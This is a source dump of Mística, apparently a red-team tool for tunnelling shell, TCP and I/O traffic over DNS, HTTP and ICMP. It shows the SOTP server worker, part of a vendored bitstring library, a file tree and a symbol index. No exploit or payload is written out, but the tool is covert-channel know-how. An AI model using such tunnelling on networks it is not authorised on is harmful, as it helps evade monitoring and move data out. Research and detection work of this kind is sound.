self.spawnRoute(msg, sessionID, elem['tag'], elem['lastpkt'])
break
# Established session! Route message
self.routeMessage(msg, sessionID)
self._LOGGING_ and self.logger.debug("[Router] Terminated")
================================================
FILE: sotp/serverworker.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.core import Header, OptionalHeader, Sizes, Offsets, Status, Flags, Sync
from sotp.core import Core, BYTE
from sotp.packet import Packet
from threading import Thread
from queue import Queue
from utils.messaging import Message, MessageType, SignalType
from utils.bitstring import BitArray
class ServerWorker(Core, Thread):
def __init__(self, overlay, id, SotpServerInbox, retries, maxsize, logger, key, sid, lastpkt):
Core.__init__(self, key, retries, maxsize)
Thread.__init__(self)
self.overlay = overlay
self.st = Status.WORKING # Server establishes session before a route is created
self.inbox = Queue()
self.datainbox = Queue()
self.id = id
self.sid = sid
self.outbox = SotpServerInbox
self.lastPacketSent = lastpkt
self.lastPacketRecv = None
self.seqnumber = lastpkt.seq_number.uint
self.overlay.addWorker(self)
self.exit = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
# Method that checks if a packet is a Polling request
def seemsPollingRequest(self,packet):
if packet.isFlagActive(Flags.SYNC) == False:
return False
if packet.isSyncType(Sync.POLLING_REQUEST) == False:
return False
if any(packet.data_len) or any(packet.content):
return False
return True
# Method that checks if a packet is a Data Transfer Packet
def seemsPollingChunk(self,packet):
if any(packet.flags):
return False
if any(packet.data_len) == False:
return False
if packet.data_len.uint != int(packet.content.length/BYTE):
return False
return True
# Method that checks if a packet is a Data Transfer Packet with PUSH Flag
def seemsPollingDataPush(self,packet):
if packet.isFlagActive(Flags.PUSH) == False:
return False
if packet.optional_headers:
return False
if any(packet.data_len) == False:
return False
if packet.data_len.uint != int(packet.content.length/BYTE):
return False
return True
# Method that checks if a packet is a confirmation.
def seemsConfirmation(self,packet):
if any(packet.flags):
return False
if any(packet.data_len) or any(packet.content):
return False
return True
# Method that checks if a packet is a session reinitialization request.
def seemsReinitRequest(self, packet):
if not packet.isFlagActive(Flags.SYNC):
return False
if not packet.isSyncType(Sync.REINITIALIZING):
return False
if any(packet.data_len) or any(packet.content):
return False
return True
# Method to check if the packet is a valid request from mistica client.
# first it checks that the package has the sotp structure and then
# if it fits any of the expected package types
def checkWorkRequest(self,packet):
if self.checkMainFields(packet) == False:
return False
if self.seemsPollingRequest(packet):
return True
if self.seemsConfirmation(packet):
return True
if self.seemsPollingChunk(packet):
return True
if self.seemsPollingDataPush(packet):
return True
return False
# Method to check if the packet is valid reinitialization request
def checkReinitialization(self, packet):
if self.seemsReinitRequest(packet):
return True
return False
# Method for generating a response to a Polling request
def generatePollResponse(self,packet):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packet.seq_number
p.data_len = BitArray(bin='0'*Header.DATA_LEN)
p.flags = BitArray(bin='0'*Header.FLAGS)
p.content = BitArray()
return p
# Method for generating a session reinitialization response
def generateReinitResponse(self,packet):
p = Packet()
p.session_id = self.sid
self.seqnumber=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packet.seq_number
p.data_len = BitArray(bin='0'*Header.DATA_LEN)
p.flags = BitArray(bin='0'*Header.FLAGS)
p.content = BitArray()
return p
# Method to generate a transfer packet (with data from the overlay)
def generateTransferPacket(self,packt,content,push):
p = Packet()
p.session_id = self.sid
self.seqnumber+=1
p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER)
p.ack = packt.seq_number
p.data_len = BitArray(uint=len(content),length=Header.DATA_LEN)
if push:
p.flags = BitArray(uint=Flags.PUSH,length=Header.FLAGS)
else:
p.flags = BitArray(bin='0'*Header.FLAGS)
p.sync_type = BitArray()
p.content = BitArray(bytes=content)
return p
# Method that updates the reference to the last packet sent and/or received
def storePackets(self,packetrecv,packetsent):
if packetsent is not None:
self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] Storing Sent Packet {packetsent.seq_number}")
self.lastPacketSent = packetsent
if packetrecv is not None:
self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] Storing Recv Packet {packetrecv.seq_number}")
self.lastPacketRecv = packetrecv
# Method of starting a data transfer
def makeTransferPacket(self,packet):
response = None
chunk, push = self.bufOverlay.getChunk()
transpacket = self.generateTransferPacket(packet,chunk,push)
response = transpacket
if push and not self.bufOverlay.anyIndex():
self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] makeTransferPacket with PUSH")
return response
# Method that extracts data (if any) from a packet received from the client (by full-duplex).
def extractIncomingData(self,packet):
if any(packet.data_len) == False or any(packet.content) == False:
return
self.bufWrapper.addChunk(packet)
return
# Method that manages Polling Requests, Confirmations and Data Transfer packets
# Data transfers can be full duplex
def doWork(self,packet,wsrvinbox):
response = None
packettosend = None
if packet.anyContentAvailable():
self.extractIncomingData(packet)
if packet.isFlagActive(Flags.PUSH):
data_decrypt = self.decryptWrapperData()
self.overlay.inbox.put(Message("serverworker",self.id,'overlay',0,MessageType.STREAM,data_decrypt))
if self.someOverlayData():
packettosend = self.makeTransferPacket(packet)
response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)
else:
packettosend = self.generatePollResponse(packet)
response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)
else:
if self.someOverlayData():
packettosend = self.makeTransferPacket(packet)
response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)
else:
packettosend = self.generatePollResponse(packet)
response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)
else:
if self.someOverlayData():
packettosend = self.makeTransferPacket(packet)
response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)
else:
packettosend = self.generatePollResponse(packet)
response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox)
self.storePackets(packet,packettosend)
self._LOGGING_ and self.logger.debug(f"[{self.name}] Header Sent: {response.printHeader()}")
return response
# Method that responds to a client termination request
def doTermination(self,packet,wsrvinbox):
self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] initializing Termination process")
pollpacket = self.generatePollResponse(packet)
self.st = Status.TERMINATING
self.storePackets(packet,pollpacket)
self.overlay.inbox.put(Message("serverworker",self.id,'overlay',0,MessageType.SIGNAL,SignalType.COMMS_FINISHED))
return Message("serverworker",self.id,"router",0,MessageType.STREAM,pollpacket.toBytes(),wsrvinbox)
# Method that performs the session reinitialization process
def doReinitialization(self, packet):
reinitpacket = self.generateReinitResponse(packet)
self.storePackets(packet, reinitpacket)
return reinitpacket.toBytes()
# Trigger method that performs the checks associated with each function and then invokes it
# by returning a response.
def initialChecks(self, msg, checkerFunc, nextFunc):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Header Recv: {msg.printHeader()}")
p = self.transformToPacket(msg.content)
if p is None:
self._LOGGING_ and self.logger.error(f"[ServerWorker {self.id}] cannot convert data to sotp packet, re-sending...")
return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ)
if self.checkReinitialization(p):
return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.doReinitialization(p),msg.wrapServerQ)
if self.checkTermination(p):
self._LOGGING_ and self.logger.info(f"[ServerWorker {self.id}] termination packet detection")
return self.doTermination(p,msg.wrapServerQ)
if checkerFunc(p) is False:
self._LOGGING_ and self.logger.error(f"[ServerWorker {self.id}] {checkerFunc} has failed, re-sending...")
return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ)
if self.checkConfirmation(p) is False:
self._LOGGING_ and self.logger.error(f"[ServerWorker {self.id}] cannot confirm our last sent packet, re-sending...")
return Message("serverworker",self.id,"router",0,MessageType.STREAM,self.lostPacket().toBytes(),msg.wrapServerQ)
return nextFunc(p,msg.wrapServerQ)
# Method that processes the data from the overlay and stores it in its buffer.
def overlayProcessing(self, data):
self._LOGGING_ and self.logger.debug(f"[DataThread] {data.sender} sent {len(data.content)} bytes of data, storing...")
self.storeOverlayContent(data.content)
# A method (running on a thread) that receives the data from the overlay, encrypts it,
# chunks it and saves it parallel to the mistica server thread.
def dataEntry(self):
while True:
data = self.datainbox.get()
if data.isTerminateMessage():
break
self.overlayProcessing(data)
self._LOGGING_ and self.logger.debug(f"[DataThread] Terminated")
# Handler for STREAM (data) type messages
def handleStream(self, msg):
if self.st == Status.WORKING:
self.outbox.put(self.initialChecks(msg, self.checkWorkRequest, self.doWork))
elif self.st == Status.TERMINATING:
self.overlay.inbox.put(Message("serverworker",self.id,'overlay', self.overlay.id, MessageType.SIGNAL,SignalType.COMMS_FINISHED))
# Handler for SIGNAL type messages.
def handleSignal(self, msg):
if msg.isTerminateMessage():
self.datainbox.put(Message("serverworker", self.id, "datathread", 0, MessageType.SIGNAL, SignalType.TERMINATE))
self.exit = True
# Entry point of the associated Worker when creating a new session with a client.
def run(self):
self._LOGGING_ and self.logger.info(f"[ServerWorker {self.id}] associated with {self.overlay.name} started!")
dataThread = Thread(target=self.dataEntry)
dataThread.start()
while (not self.exit):
msg = self.inbox.get()
if (msg.isSignalMessage()):
self.handleSignal(msg)
continue
self.handleStream(msg)
self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] Terminated")
================================================
FILE: utils/bitstring.py
================================================
#!/usr/bin/env python
"""
This package defines classes that simplify bit-wise creation, manipulation and
interpretation of data.
Classes:
Bits -- An immutable container for binary data.
BitArray -- A mutable container for binary data.
ConstBitStream -- An immutable container with streaming methods.
BitStream -- A mutable container with streaming methods.
Bits (base class)
/ \
+ mutating methods / \ + streaming methods
/ \
BitArray ConstBitStream
\ /
\ /
\ /
BitStream
Functions:
pack -- Create a BitStream from a format string.
Exceptions:
Error -- Module exception base class.
CreationError -- Error during creation.
InterpretError -- Inappropriate interpretation of binary data.
ByteAlignError -- Whole byte position or length needed.
ReadError -- Reading or peeking past the end of a bitstring.
https://github.com/scott-griffiths/bitstring
"""
__licence__ = """
The MIT License
Copyright (c) 2006-2019 Scott Griffiths (dr.scottgriffiths@gmail.com)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
"""
__version__ = "3.1.6"
__author__ = "Scott Griffiths"
import numbers
import copy
import sys
import re
import binascii
import mmap
import os
import struct
import operator
import collections
import array
byteorder = sys.byteorder
bytealigned = False
"""Determines whether a number of methods default to working only on byte boundaries."""
# Maximum number of digits to use in __str__ and __repr__.
MAX_CHARS = 250
# Maximum size of caches used for speed optimisations.
CACHE_SIZE = 1000
class Error(Exception):
"""Base class for errors in the bitstring module."""
def __init__(self, *params):
self.msg = params[0] if params else ''
self.params = params[1:]
def __str__(self):
if self.params:
return self.msg.format(*self.params)
return self.msg
class ReadError(Error, IndexError):
"""Reading or peeking past the end of a bitstring."""
def __init__(self, *params):
Error.__init__(self, *params)
class InterpretError(Error, ValueError):
"""Inappropriate interpretation of binary data."""
def __init__(self, *params):
Error.__init__(self, *params)
class ByteAlignError(Error):
"""Whole-byte position or length needed."""
def __init__(self, *params):
Error.__init__(self, *params)
class CreationError(Error, ValueError):
"""Inappropriate argument during bitstring creation."""
def __init__(self, *params):
Error.__init__(self, *params)
class ConstByteStore(object):
"""Stores raw bytes together with a bit offset and length.
Used internally - not part of public interface.
"""
__slots__ = ('offset', '_rawarray', 'bitlength')
def __init__(self, data, bitlength=None, offset=None):
"""data is either a bytearray or a MmapByteArray"""
self._rawarray = data
if offset is None:
offset = 0
if bitlength is None:
bitlength = 8 * len(data) - offset
self.offset = offset
self.bitlength = bitlength
def __iter__(self):
start_byte, start_bit = divmod(self.offset, 8)
end_byte, end_bit = divmod(self.offset + self.bitlength, 8)
for byte_index in xrange(start_byte, end_byte):
byte = self._rawarray[byte_index]
for bit in range(start_bit, 8):
yield bool(byte & (128 >> bit))
start_bit = 0
if end_bit:
byte = self._rawarray[end_byte]
for bit in range(start_bit, end_bit):
yield bool(byte & (128 >> bit))
def getbit(self, pos):
assert 0 <= pos < self.bitlength
byte, bit = divmod(self.offset + pos, 8)
return bool(self._rawarray[byte] & (128 >> bit))
def getbyte(self, pos):
"""Direct access to byte data."""
return self._rawarray[pos]
def getbyteslice(self, start, end):
"""Direct access to byte data."""
c = self._rawarray[start:end]
return c
@property
def bytelength(self):
if not self.bitlength:
return 0
sb = self.offset // 8
eb = (self.offset + self.bitlength - 1) // 8
return eb - sb + 1
def __copy__(self):
return ByteStore(self._rawarray[:], self.bitlength, self.offset)
def _appendstore(self, store):
"""Join another store on to the end of this one."""
if not store.bitlength:
return
# Set new array offset to the number of bits in the final byte of current array.
store = offsetcopy(store, (self.offset + self.bitlength) % 8)
if store.offset:
# first do the byte with the join.
joinval = (self._rawarray.pop() & (255 ^ (255 >> store.offset)) |
(store.getbyte(0) & (255 >> store.offset)))
self._rawarray.append(joinval)
self._rawarray.extend(store._rawarray[1:])
else:
self._rawarray.extend(store._rawarray)
self.bitlength += store.bitlength
def _prependstore(self, store):
"""Join another store on to the start of this one."""
if not store.bitlength:
return
# Set the offset of copy of store so that it's final byte
# ends in a position that matches the offset of self,
# then join self on to the end of it.
store = offsetcopy(store, (self.offset - store.bitlength) % 8)
assert (store.offset + store.bitlength) % 8 == self.offset % 8
bit_offset = self.offset % 8
if bit_offset:
# first do the byte with the join.
joinval = (store.getbyte(-1) & (255 ^ (255 >> bit_offset)) |
(self._rawarray[self.byteoffset] & (255 >> bit_offset)))
store._rawarray[-1] = joinval
store._rawarray.extend(self._rawarray[self.byteoffset + 1: self.byteoffset + self.bytelength])
else:
store._rawarray.extend(self._rawarray[self.byteoffset: self.byteoffset + self.bytelength])
self._rawarray = store._rawarray
self.offset = store.offset
self.bitlength += store.bitlength
@property
def byteoffset(self):
return self.offset // 8
@property
def rawbytes(self):
return self._rawarray
class ByteStore(ConstByteStore):
"""Adding mutating methods to ConstByteStore
Used internally - not part of public interface.
"""
__slots__ = ()
def setbit(self, pos):
assert 0 <= pos < self.bitlength
byte, bit = divmod(self.offset + pos, 8)
self._rawarray[byte] |= (128 >> bit)
def unsetbit(self, pos):
assert 0 <= pos < self.bitlength
byte, bit = divmod(self.offset + pos, 8)
self._rawarray[byte] &= ~(128 >> bit)
def invertbit(self, pos):
assert 0 <= pos < self.bitlength
byte, bit = divmod(self.offset + pos, 8)
self._rawarray[byte] ^= (128 >> bit)
def setbyte(self, pos, value):
self._rawarray[pos] = value
def setbyteslice(self, start, end, value):
self._rawarray[start:end] = value
def offsetcopy(s, newoffset):
"""Return a copy of a ByteStore with the newoffset.
Not part of public interface.
"""
assert 0 <= newoffset < 8
if not s.bitlength:
return copy.copy(s)
else:
if newoffset == s.offset % 8:
return type(s)(s.getbyteslice(s.byteoffset, s.byteoffset + s.bytelength
gitextract_79tz8_83/
├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── logs/
│ └── .gitkeep
├── mc.py
├── ms.py
├── overlay/
│ ├── client/
│ │ ├── __init__.py
│ │ ├── io.py
│ │ ├── shell.py
│ │ ├── tcpconnect.py
│ │ └── tcplisten.py
│ └── server/
│ ├── __init__.py
│ ├── io.py
│ ├── shell.py
│ ├── tcpconnect.py
│ └── tcplisten.py
├── sotp/
│ ├── clientworker.py
│ ├── core.py
│ ├── misticathread.py
│ ├── packet.py
│ ├── route.py
│ ├── router.py
│ └── serverworker.py
├── utils/
│ ├── bitstring.py
│ ├── buffer.py
│ ├── icmp.py
│ ├── logger.py
│ ├── messaging.py
│ ├── prompt.py
│ └── rc4.py
└── wrapper/
├── client/
│ ├── __init__.py
│ ├── dns.py
│ ├── http.py
│ └── icmp.py
└── server/
├── wrap_module/
│ ├── __init__.py
│ ├── dns.py
│ ├── http.py
│ └── icmp.py
└── wrap_server/
├── __init__.py
├── dnsserver.py
├── httpserver.py
└── icmpserver.py
SYMBOL INDEX (646 symbols across 33 files)
FILE: mc.py
class MisticaClient (line 40) | class MisticaClient(object):
method __init__ (line 42) | def __init__(self, key, args, verbose):
method doWrapper (line 70) | def doWrapper(self):
method doSotp (line 83) | def doSotp(self):
method doOverlay (line 143) | def doOverlay(self):
method captureInput (line 153) | def captureInput(self):
method captureExit (line 190) | def captureExit(self, signal_received, frame):
method run (line 195) | def run(self):
FILE: ms.py
class MisticaMode (line 40) | class MisticaMode:
class ModuleType (line 45) | class ModuleType:
class MisticaServer (line 51) | class MisticaServer():
method __init__ (line 53) | def __init__(self, mode, key, verbose, moduleargs):
method dependencyLaunched (line 70) | def dependencyLaunched(self, wmitem):
method getModuleInstance (line 78) | def getModuleInstance(self, type, name, args):
method sigintDetect (line 85) | def sigintDetect(self, signum, frame):
method captureInput (line 99) | def captureInput(self, overlay):
method run (line 133) | def run(self):
FILE: overlay/client/io.py
class io (line 23) | class io(ClientOverlay):
method __init__ (line 41) | def __init__(self, qsotp, qdata, args, logger=None):
method processInputStream (line 50) | def processInputStream(self, content):
method processSOTPStream (line 54) | def processSOTPStream(self, content):
FILE: overlay/client/shell.py
class shell (line 25) | class shell(ClientOverlay):
method __init__ (line 44) | def __init__(self, qsotp, qdata, args, logger=None):
method processSOTPStream (line 51) | def processSOTPStream(self, content):
FILE: overlay/client/tcpconnect.py
class tcpconnect (line 27) | class tcpconnect(ClientOverlay):
method __init__ (line 74) | def __init__(self, qsotp, mode, args, logger):
method parseArguments (line 94) | def parseArguments(self, args):
method captureTcpStream (line 100) | def captureTcpStream(self):
method processInputStream (line 154) | def processInputStream(self, content):
method processSOTPStream (line 158) | def processSOTPStream(self, content):
FILE: overlay/client/tcplisten.py
class tcplisten (line 27) | class tcplisten(ClientOverlay):
method __init__ (line 68) | def __init__(self, qsotp, mode, args, logger):
method parseArguments (line 84) | def parseArguments(self, args):
method captureTcpStream (line 89) | def captureTcpStream(self):
method processInputStream (line 150) | def processInputStream(self, content):
method processSOTPStream (line 154) | def processSOTPStream(self, content):
FILE: overlay/server/io.py
class io (line 25) | class io(ServerOverlay):
method __init__ (line 43) | def __init__(self, id, qsotp, mode, args, logger):
method processInputStream (line 53) | def processInputStream(self, content):
method processSOTPStream (line 57) | def processSOTPStream(self, content):
method handleInputStream (line 63) | def handleInputStream(self, msg):
method addWorker (line 73) | def addWorker(self, worker):
FILE: overlay/server/shell.py
class shell (line 24) | class shell(ServerOverlay):
method __init__ (line 43) | def __init__(self, id, qsotp, mode, args, logger):
method processSOTPStream (line 51) | def processSOTPStream(self, content):
FILE: overlay/server/tcpconnect.py
class tcpconnect (line 28) | class tcpconnect(ServerOverlay):
method __init__ (line 74) | def __init__(self, id, qsotp, mode, args, logger):
method parseArguments (line 93) | def parseArguments(self, args):
method captureTcpStream (line 99) | def captureTcpStream(self):
method processInputStream (line 153) | def processInputStream(self, content):
method processSOTPStream (line 157) | def processSOTPStream(self, content):
method handleInputStream (line 169) | def handleInputStream(self, msg):
method addWorker (line 179) | def addWorker(self, worker):
FILE: overlay/server/tcplisten.py
class tcplisten (line 28) | class tcplisten(ServerOverlay):
method __init__ (line 69) | def __init__(self, id, qsotp, mode, args, logger):
method parseArguments (line 85) | def parseArguments(self, args):
method captureTcpStream (line 90) | def captureTcpStream(self):
method processInputStream (line 153) | def processInputStream(self, content):
method processSOTPStream (line 157) | def processSOTPStream(self, content):
method handleInputStream (line 165) | def handleInputStream(self, msg):
method addWorker (line 175) | def addWorker(self, worker):
FILE: sotp/clientworker.py
class ClientWorker (line 28) | class ClientWorker(Core):
method __init__ (line 30) | def __init__(self, key, maxretries, maxsize, tag, overlayname, wrapper...
method checkInitResponse (line 51) | def checkInitResponse(self,packet):
method checkWorkResponse (line 65) | def checkWorkResponse(self,packet):
method checkReinitialization (line 79) | def checkReinitialization(self,packet):
method checkForStop (line 91) | def checkForStop(self,packet):
method generateInitPacket (line 96) | def generateInitPacket(self):
method generatePollPacket (line 109) | def generatePollPacket(self,packt):
method generateTermResponsePacket (line 123) | def generateTermResponsePacket(self,packt):
method generateReintializationPacket (line 136) | def generateReintializationPacket(self,packt):
method generateTerminatePacket (line 150) | def generateTerminatePacket(self,packt):
method generateTransferPacket (line 164) | def generateTransferPacket(self,packt,content,push):
method generateAckPacket (line 180) | def generateAckPacket(self,packt):
method getPollRequest (line 193) | def getPollRequest(self):
method storePackets (line 202) | def storePackets(self,packetrecv,packetsent):
method doInitialize (line 212) | def doInitialize(self,packet):
method doWork (line 231) | def doWork(self,packet):
method extractIncomingData (line 267) | def extractIncomingData(self,packet):
method makeTransferPacket (line 274) | def makeTransferPacket(self,packet):
method doTermination (line 285) | def doTermination(self,packet):
method doReintialization (line 295) | def doReintialization(self,packt):
method initializeStop (line 304) | def initializeStop(self,packt):
method resetSession (line 311) | def resetSession(self,packet):
method lookForRetries (line 330) | def lookForRetries(self):
method initialChecks (line 342) | def initialChecks(self,data,checkerFunc,nextFunc):
method wrapperProcessing (line 363) | def wrapperProcessing(self, data):
method overlayProcessing (line 382) | def overlayProcessing(self, data):
method dataEntry (line 391) | def dataEntry(self,qsotp):
method streamEntry (line 401) | def streamEntry(self, data):
method signalEntry (line 411) | def signalEntry(self, data):
method Entrypoint (line 448) | def Entrypoint(self,data):
FILE: sotp/core.py
class Header (line 29) | class Header(object):
class OptionalHeader (line 37) | class OptionalHeader(object):
class Sizes (line 41) | class Sizes(object):
class Offsets (line 48) | class Offsets(object):
class Status (line 57) | class Status(object):
class Flags (line 66) | class Flags(object):
class Sync (line 71) | class Sync(object):
class Core (line 79) | class Core(object):
method __init__ (line 81) | def __init__(self, key, maxretries, maxsize):
method checkMaxSizeAvailable (line 92) | def checkMaxSizeAvailable(self, maxsize):
method fromBytesToBitArray (line 98) | def fromBytesToBitArray(data):
method parseRawPacket (line 102) | def parseRawPacket(binarypacket):
method buildPacket (line 108) | def buildPacket(header, body):
method transformToPacket (line 127) | def transformToPacket(rawbytes):
method checkMainFields (line 133) | def checkMainFields(self,packt):
method checkForRetries (line 142) | def checkForRetries(self):
method lostPacket (line 149) | def lostPacket(self):
method decryptWrapperData (line 155) | def decryptWrapperData(self):
method storeOverlayContent (line 164) | def storeOverlayContent(self, data):
method someOverlayData (line 172) | def someOverlayData(self):
method checkConfirmation (line 175) | def checkConfirmation(self,packt):
method checkTermination (line 182) | def checkTermination(self,packt):
FILE: sotp/misticathread.py
class MisticaMode (line 25) | class MisticaMode:
class MisticaThread (line 30) | class MisticaThread(Thread):
method __init__ (line 31) | def __init__(self, name, logger):
method generateArgParser (line 40) | def generateArgParser(self):
method handleMessage (line 52) | def handleMessage(self, msg):
method handleSignal (line 63) | def handleSignal(self, msg):
method handleStream (line 67) | def handleStream(self, msg):
method processAnswer (line 71) | def processAnswer(self, msg):
method run (line 74) | def run(self):
class ClientOverlay (line 88) | class ClientOverlay(MisticaThread):
method __init__ (line 90) | def __init__(self, name, qsotp, qdata, args, logger):
method parseArguments (line 107) | def parseArguments(self, args):
method initCommunication (line 111) | def initCommunication(self):
method handleSignal (line 115) | def handleSignal(self, msg):
method handleStream (line 121) | def handleStream(self, msg):
method handleInputStream (line 129) | def handleInputStream(self, msg):
method handleSOTPStream (line 135) | def handleSOTPStream(self, msg):
method processAnswer (line 142) | def processAnswer(self, answer):
method processInputStream (line 151) | def processInputStream(self, content):
method processSOTPStream (line 155) | def processSOTPStream(self, content):
class ClientWrapper (line 159) | class ClientWrapper(MisticaThread):
method __init__ (line 161) | def __init__(self, name, qsotp, logger):
method handleSignal (line 171) | def handleSignal(self, msg):
method handleStream (line 176) | def handleStream(self, msg):
method processAnswer (line 188) | def processAnswer(self, answer):
method messageToSOTP (line 193) | def messageToSOTP(self, content):
method messageToWrapper (line 196) | def messageToWrapper(self, content):
method wrap (line 200) | def wrap(self, content):
method unwrap (line 204) | def unwrap(self, content):
class ServerOverlay (line 208) | class ServerOverlay(MisticaThread):
method __init__ (line 210) | def __init__(self, name, id, qsotp, mode, args, logger):
method parseArguments (line 227) | def parseArguments(self, args):
method handleSignal (line 230) | def handleSignal(self, msg):
method handleInputSignal (line 238) | def handleInputSignal(self, msg):
method handleInterrupt (line 248) | def handleInterrupt(self):
method handleSOTPSignal (line 252) | def handleSOTPSignal(self, msg):
method handleStream (line 264) | def handleStream(self, msg):
method handleInputStream (line 272) | def handleInputStream(self, msg):
method handleSOTPStream (line 278) | def handleSOTPStream(self, msg):
method processAnswer (line 289) | def processAnswer(self, answer):
method processInputStream (line 306) | def processInputStream(self, content):
method processSOTPStream (line 310) | def processSOTPStream(self, content):
method addWorker (line 313) | def addWorker(self, worker):
method removeWorker (line 321) | def removeWorker(self, id):
method streamToSOTPWorker (line 327) | def streamToSOTPWorker(self, content, workerid):
method signalToSOTPWorker (line 330) | def signalToSOTPWorker(self, content, workerid):
class ServerWrapper (line 334) | class ServerWrapper(MisticaThread):
method __init__ (line 336) | def __init__(self, id, name, qsotp, servername, args, logger):
method handleSignal (line 348) | def handleSignal(self, msg):
method handleSOTPSignal (line 356) | def handleSOTPSignal(self, msg):
method handleServerSignal (line 361) | def handleServerSignal(self, msg):
method handleStream (line 365) | def handleStream(self, msg):
method wrap (line 374) | def wrap(self, content):
method unwrap (line 378) | def unwrap(self, content):
method processAnswer (line 381) | def processAnswer(self, answer):
method messageToRouter (line 389) | def messageToRouter(self, content, wrapServerQ):
method messageToWrapServer (line 395) | def messageToWrapServer(self, content, wrapServerQ):
FILE: sotp/packet.py
class Packet (line 24) | class Packet(object):
method __init__ (line 25) | def __init__(self):
method toBytes (line 36) | def toBytes(self):
method isFlagActive (line 49) | def isFlagActive(self,checkflag):
method isSyncType (line 52) | def isSyncType(self,checktype):
method anyContentAvailable (line 55) | def anyContentAvailable(self):
FILE: sotp/route.py
class Route (line 20) | class Route:
method __init__ (line 22) | def __init__(self, session_id, worker, wrap_module, overlay):
FILE: sotp/router.py
class Router (line 33) | class Router(Thread):
method __init__ (line 35) | def __init__(self, key, logger):
method errorMessage (line 53) | def errorMessage(self, destination, destination_id):
method addRoute (line 57) | def addRoute(self, session_id, worker, wrap_module, overlay):
method routeMessage (line 60) | def routeMessage(self, msg, sessionID):
method craftTerminateMessage (line 80) | def craftTerminateMessage(self, receiver, receiver_id):
method handleSignal (line 84) | def handleSignal(self, msg):
method sessionAlreadyExists (line 98) | def sessionAlreadyExists(self, sessionID):
method newSessionID (line 104) | def newSessionID(self):
method generateAuthResponsePacket (line 111) | def generateAuthResponsePacket(self, req, sessionID):
method validOverlayTag (line 123) | def validOverlayTag(self, tag):
method initializeSOTPSession (line 129) | def initializeSOTPSession(self, msg):
method spawnRoute (line 179) | def spawnRoute(self, msg, sessionID, tag, lastpkt):
method getSessionID (line 214) | def getSessionID(self, binarypacket):
method run (line 217) | def run(self):
FILE: sotp/serverworker.py
class ServerWorker (line 29) | class ServerWorker(Core, Thread):
method __init__ (line 31) | def __init__(self, overlay, id, SotpServerInbox, retries, maxsize, log...
method seemsPollingRequest (line 51) | def seemsPollingRequest(self,packet):
method seemsPollingChunk (line 61) | def seemsPollingChunk(self,packet):
method seemsPollingDataPush (line 71) | def seemsPollingDataPush(self,packet):
method seemsConfirmation (line 83) | def seemsConfirmation(self,packet):
method seemsReinitRequest (line 91) | def seemsReinitRequest(self, packet):
method checkWorkRequest (line 103) | def checkWorkRequest(self,packet):
method checkReinitialization (line 117) | def checkReinitialization(self, packet):
method generatePollResponse (line 123) | def generatePollResponse(self,packet):
method generateReinitResponse (line 135) | def generateReinitResponse(self,packet):
method generateTransferPacket (line 147) | def generateTransferPacket(self,packt,content,push):
method storePackets (line 163) | def storePackets(self,packetrecv,packetsent):
method makeTransferPacket (line 172) | def makeTransferPacket(self,packet):
method extractIncomingData (line 182) | def extractIncomingData(self,packet):
method doWork (line 190) | def doWork(self,packet,wsrvinbox):
method doTermination (line 223) | def doTermination(self,packet,wsrvinbox):
method doReinitialization (line 232) | def doReinitialization(self, packet):
method initialChecks (line 239) | def initialChecks(self, msg, checkerFunc, nextFunc):
method overlayProcessing (line 259) | def overlayProcessing(self, data):
method dataEntry (line 265) | def dataEntry(self):
method handleStream (line 274) | def handleStream(self, msg):
method handleSignal (line 281) | def handleSignal(self, msg):
method run (line 287) | def run(self):
FILE: utils/bitstring.py
class Error (line 89) | class Error(Exception):
